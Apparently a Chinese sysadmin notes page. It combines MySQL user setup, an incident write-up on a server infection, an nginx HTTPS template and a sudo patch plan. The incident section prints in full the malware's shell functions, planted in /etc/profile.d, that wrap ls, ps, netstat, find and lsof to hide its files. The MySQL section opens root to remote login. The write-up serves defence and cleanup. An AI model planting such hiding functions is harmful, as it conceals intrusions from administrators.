# MySql创建用户命令

## 1、创建新用户
使用`CREATE USER`语句创建新用户。这里的`'%'`表示允许从任何远程主机连接。如果希望限制只从特定IP连接，可以将`'%'`替换为特定IP（如`'192.168.1.100'`）。
```
CREATE USER 'test'@'%' IDENTIFIED BY '123!@#'; -- 请替换为强密码
update user set host = '%' where user = 'test';  --授予远程登录权限
FLUSH PRIVILEGES;
```
**安全提示**：务必使用**强密码**，并考虑将`'%'`替换为具体的、需要连接的**客户端IP地址**，以增强安全性
## 2、授予数据库权限
使用`GRANT`语句授予新用户对特定数据库（假设数据库名为`your_database`）的权限。`ALL PRIVILEGES`表示所有权限，你也可以根据需要授予特定权限（如`SELECT, INSERT, UPDATE`）。
```
GRANT ALL PRIVILEGES ON test.* TO 'test'@'%';
FLUSH PRIVILEGES; -- 每次权限变更后都建议执行此命令
```
## 3、配置MySQL允许远程连接
默认情况下，MySQL可能只监听本地连接。需要修改其配置文件。



- 找到配置文件（通常是`/etc/mysql/my.cnf`, `/etc/mysql/mysql.conf.d/mysqld.cnf` (Linux) 或 `my.ini` (Windows)）。
- 找到 `bind-address` 行，将其注释掉（行首加`#`）或修改为`0.0.0.0`。

```
# bind-address = 127.0.0.1
```
---添加root远程登录权限
```
update user set host='%' where user='root';
```
**重启MySQL服务**使配置生效

```
sudo systemctl restart mysql  # 或 mysqld，取决于系统
```

mysql创建用户

日常使用命令

# 1、案例详情

服务器发生命令发生异常 ls  ps find  lsof 等命令出现异常，不能正常过滤文件，导致不能正常查看文件，病毒文件通过篡改命令实现隐藏病毒文件；



# 2、解决方案

## 2.1 查看 ls ps 命令类型

​	查看ls ps 命令类型，看文件是否被篡改

```
[root@hadoop01 ~]# type ls
ls is a function
ls () 
{ 
    proc_name=$(/usr/bin/ls $@);
    proc_name=$(echo "$proc_name" | sed -e '/32675/d');
    proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');
    proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');
    proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');
    proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');
    proc_name=$(echo "$proc_name" | sed -e '/32675/d');
    proc_name=$(echo "$proc_name" | sed -e '/.mod/d');
    proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');
    proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');
    proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');
    proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');
    proc_name=$(echo "$proc_name" | sed -e '/sleep/d');
    proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');
    proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');
    proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');
    echo "$proc_name"
}

发现被篡改了，查看可能被篡改的文件 
cat /etc/bash.bashrc
cat ~/.bash_profile
cat ~/.profile
发现都未被篡改
```



## 2.2 查看环境变量 /etc/profile.d 文件

​	通过ls 命令查看不了文件夹内容，使用 cat /etc/profile.d/*.sh 查看到隐藏的篡改文件

```
[root@hadoop01 profile.d]# cat /etc/profile.d/*.sh
#!/bin/bash
/etc/profile.d/bash_cfg# shellcheck shell=sh disable=SC1091,SC2039,SC2166
# Check for interactive bash and that we haven't already been sourced.
if [ "x${BASH_VERSION-}" != x -a "x${PS1-}" != x -a "x${BASH_COMPLETION_VERSINFO-}" = x ]; then

    # Check for recent enough version of bash.
    if [ "${BASH_VERSINFO[0]}" -gt 4 ] ||
        [ "${BASH_VERSINFO[0]}" -eq 4 -a "${BASH_VERSINFO[1]}" -ge 2 ]; then
        [ -r "${XDG_CONFIG_HOME:-$HOME/.config}/bash_completion" ] &&
            . "${XDG_CONFIG_HOME:-$HOME/.config}/bash_completion"
        if shopt -q progcomp && [ -r /usr/share/bash-completion/bash_completion ]; then
            # Source completion code.
            . /usr/share/bash-completion/bash_completion
        fi
    fi

fi
#FLINK_HOME
export FLINK_HOME=/data/software/flink/flink-1.12.7
export PATH=$PATH:$FLINK_HOME/bin
#!/bin/bash
function ps { proc_name=$(/usr/bin/ps $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; }
function ss { proc_name=$(/usr/bin/ss $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; }
function netstat { proc_name=$(/usr/bin/netstat $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; }
function dir { proc_name=$(/usr/bin/dir $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; }
function ls { proc_name=$(/usr/bin/ls $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; }
function find { proc_name=$(/usr/bin/find $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; }
function lsof { proc_name=$(/usr/bin/lsof $@);proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/dns-tcp4/d');proc_name=$(echo "$proc_name" | sed -e '/quotaoff.service/d');proc_name=$(echo "$proc_name" | sed -e '/System.mod/d');proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d');proc_name=$(echo "$proc_name" | sed -e '/32675/d');proc_name=$(echo "$proc_name" | sed -e '/.mod/d');proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.1/d');proc_name=$(echo "$proc_name" | sed -e '/opt.services.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/system-mark/d');proc_name=$(echo "$proc_name" | sed -e '/ifconfig.cfg/d');proc_name=$(echo "$proc_name" | sed -e '/sleep/d');proc_name=$(echo "$proc_name" | sed -e '/seeintlog/d');proc_name=$(echo "$proc_name" | sed -e '/bash_cfg/d');proc_name=$(echo "$proc_name" | sed -e '/xlg_amd64/d');echo "$proc_name"; }
#HADOOP_HOME


通过以上输出
#!/bin/bash
function ps { proc_name=$(/usr/bin/ps $@);proc_name=$(echo ，可以发现有隐藏的篡改文件，但是不能被ls看到，因为ls 已被篡改，过滤了病毒文件所以看不到

可以把文件下载到本地电脑，然后查看里面的病毒文件名称，然后在服务器上删除所有非正常文件
```

## 2.3 更换命令文件

​	将/etc/profile.d 的环境变量文件删除之后发现命令还是异常，此时需要查看命令文件是否已经替换；

```
进入 /usr/bin/ 目录 
du -sh  ls  ps  lsof  find 
发现文件大小异常，正常应该为100K 左右，实际文件为5M 

处理方式为 将另一台相同操作系统 命令复制到/usr/bin/ 目录
并赋予权限
chmod +755 /usr/bin/ls   //其他命令相同操作
  
```



## 2.4 然后可以使用clamav 进行全盘扫描
部署链接：https://www.xb-love-smx.cn/post/13

服务器中病毒，基本命令无法操作

编写nginx https访问配置文件

nginx配置文件路径
```
/etc/nginx/conf.d
```
进入配置文件路径
```
cd /etc/nginx/conf.d
```

编辑配置文件
```
vim  example.conf
```
nginx 配置域名证书，https访问。
参考模板：

```
# 阻止IP直接访问
server {
    listen 80 default_server;
    listen 443 ssl default_server;
    server_name _;

    # SSL证书
    ssl_certificate /etc/nginx/ssl/test.pem;
    ssl_certificate_key /etc/nginx/ssl/test.key;

    # SSL安全配置
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305;
    ssl_prefer_server_ciphers off;

    # 安全头
    add_header X-Frame-Options DENY;
    add_header X-Content-Type-Options nosniff;

    # 记录IP直接访问
    access_log /var/log/nginx/ip_direct_access.log;

    return 444;
}

# HTTP重定向到HTTPS
server {
    listen 80;
    server_name test.cn www.test.cn;
    
    # 安全头
    add_header X-Frame-Options DENY;
    add_header X-Content-Type-Options nosniff;
    
    return 301 https://$server_name$request_uri;
}

# HTTPS服务器 - VanBlog 主站
server {
    listen 443 ssl http2;
    server_name test.cn test.cn;
    
    # SSL证书配置
    ssl_certificate /etc/nginx/ssl/test.pem;
    ssl_certificate_key /etc/nginx/ssl/test.key;
    
    # SSL安全配置
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305;
    ssl_prefer_server_ciphers off;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
    
    # 安全头
    add_header X-Frame-Options DENY;
    add_header X-Content-Type-Options nosniff;
    add_header X-XSS-Protection "1; mode=block";
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin";
    
    # VanBlog 主站
    location / {
        proxy_pass http://172.25.0.3:80;
        
        # 代理头设置
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_set_header X-Forwarded-Host $host;
        proxy_set_header X-Forwarded-Server $host;

        # 超时设置
        proxy_connect_timeout 60s;
        proxy_send_timeout 60s;
        proxy_read_timeout 60s;
        
        # 缓冲区优化
        proxy_buffering on;
        proxy_buffer_size 4k;
        proxy_buffers 8 4k;
    }

    # 静态资源缓存优化
    location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ {
        proxy_pass http://172.25.0.3:80;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        
        # 缓存设置
        expires 1y;
        add_header Cache-Control "public, immutable";
        add_header Vary "Accept-Encoding";
    }

    # 禁止访问敏感文件
    location ~ /\. {
        deny all;
        access_log off;
        log_not_found off;
    }

    # 健康检查端点
    location /nginx_status {
        stub_status on;
        access_log off;
        allow 127.0.0.1;
        deny all;
    }
}
```

nginx标准配置文件

Linux sudo 漏洞修复与回退方案 (CNNVD-202506-3714 & CNNVD-202506-3715)
# 一、准备工作

## 1、备份关键数据

```
sudo cp /etc/sudoers /etc/sudoers.bak
sudo cp -r /usr/bin/sudo /usr/bin/sudo.bak
```



## 2、检查当前版本

```
sudo --version | head -1
```

## 3、记录当前版本适配

```
sudo -V > sudo_config_backup.txt
```

# 二、正式修复步骤

#### **方案1：通过YUM升级（推荐）**

```
# 添加EPEL仓库（如需）
sudo yum install -y epel-release

# 升级sudo
sudo yum update -y sudo

# 验证版本
sudo --version | head -1
```

#### **方案2：源码编译安装**

```
# 安装依赖
sudo yum install -y gcc zlib-devel openssl-devel pam-devel make wget

# 下载源码
wget https://www.sudo.ws/dist/sudo-1.9.18.tar.gz
tar xvf sudo-1.9.18.tar.gz
cd sudo-1.9.18

# 编译安装
./configure --prefix=/usr --libexecdir=/usr/lib --with-pam --with-sssd
make
sudo make install

# 验证
sudo --version | head -1
```

# 三、回退方案

#### **情况1：升级后出现兼容性问题**

```
# 恢复备份的sudo二进制文件
sudo cp /usr/bin/sudo.bak /usr/bin/sudo

# 恢复sudoers配置
sudo cp /etc/sudoers.bak /etc/sudoers

# 验证回退
sudo --version | head -1
```

#### **情况2：编译安装失败**

```
# 卸载编译安装的版本
cd sudo-1.9.18
sudo make uninstall

# 重新安装旧版
sudo yum reinstall -y sudo
```

# **四、临时缓解措施（若无法立即升级）**

```
# 限制漏洞利用
echo 'Defaults !use_homedir' | sudo tee -a /etc/sudoers
echo 'Defaults !sudoedit' | sudo tee -a /etc/sudoers

# 使配置生效
sudo visudo -c
```

# 五、**风险控制**

1. ## **升级风险**

   - 可能影响依赖sudo的服务
   - 建议在维护窗口操作
   - 准备应急回退方案

2. ## **回退风险**

   - 回退后会重新暴露漏洞
   - 需尽快安排替代方案

3. ## **临时措施风险**

   - 可能影响正常业务功能
   - 需测试关键命令是否可用


# 六、**验证与监控**


## 1、**功能测试
```
sudo -l
sudo -h
```

```mermaid
graph TD
    A[开始] --> B{检查当前版本}
    B -->|安全版本| C[无需操作]
    B -->|漏洞版本| D[选择修复方案]
    D --> E[YUM升级]
    D --> F[源码编译]
    E --> G[验证]
    F --> G
    G -->|成功| H[完成]
    G -->|失败| I[执行回退]
    I --> J[恢复备份]
    J --> K[采用临时措施]
    K --> L[安排再次修复]
```